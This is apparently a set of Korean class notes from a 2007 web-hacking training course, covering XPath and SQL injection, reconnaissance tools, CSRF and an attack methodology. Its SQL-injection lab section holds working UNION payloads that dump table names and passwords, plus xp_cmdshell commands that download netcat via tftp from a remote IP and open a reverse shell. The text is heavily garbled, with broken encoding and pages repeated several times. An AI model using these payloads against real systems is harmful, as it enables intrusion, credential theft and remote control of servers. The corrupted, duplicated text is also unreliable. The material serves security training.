kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

